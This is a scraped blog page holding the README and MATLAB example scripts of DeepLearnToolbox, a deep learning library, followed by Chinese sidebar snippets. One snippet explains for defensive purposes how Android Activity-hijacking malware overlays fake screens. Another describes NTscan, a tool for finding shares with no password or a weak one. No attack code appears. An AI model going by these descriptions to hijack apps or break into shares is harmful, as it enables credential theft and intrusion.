(Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

Android Activity防劫持方案

最近,安全合规部门又对金融类、银行类app进行了大规模的多方面安全检查,其中有一项安全问题:Activity劫持。其实Android界面防劫持我们app这边也是做了的,但是为啥还会有这些问题呢?自我感觉就是绝不会有此类问题,于是我们向检测部门要了劫持工具,但是事实往往是打脸的。。。。。 那么什么是Activity劫持呢?简单的说就是我们APP正常的Activity界面被恶意攻替换上仿冒的恶意Activity界面进行攻击和非法用途。界面劫持攻击通常难被识别出来,其造成的后果必然会给用户带来严重损失。 举个例.

黄小梁的博客 5590

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

Android静态安全检查(五):Activity劫持

什么是Activity劫持一般情况下分为两种第一种是,手机里面安装了恶意程序,恶意程序会注册一个Receiver,响应android.intent.action.BOOT_COMPLETED事件,这个Service会启动一个定时器,不停的循环查询当前运行的进程。一旦当前的进程正是我们要劫持的,并运行在前台,立马使用FLAG_ACTIVITY_NEW_TASK启动自己的恶意应用界面处于栈顶,用户看到...

不忘初心的专栏 3937

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

上一篇: URL与URI
下一篇: 屏蔽Home键
Manaasdfasdf
博客等级 码龄11年 131粉丝 151原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值